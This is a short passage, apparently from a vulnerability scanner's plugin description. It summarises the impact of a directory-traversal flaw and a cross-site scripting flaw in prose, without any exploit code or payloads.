  using directory-traversal strings to view and execute local files within the context of the
  webserver process. Information harvested may aid in further attacks.

  The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the
  browser of an unsuspecting user in the context of the affected site. This may let the attacker
  steal cookie-based authentication credentials and launch other attacks.");
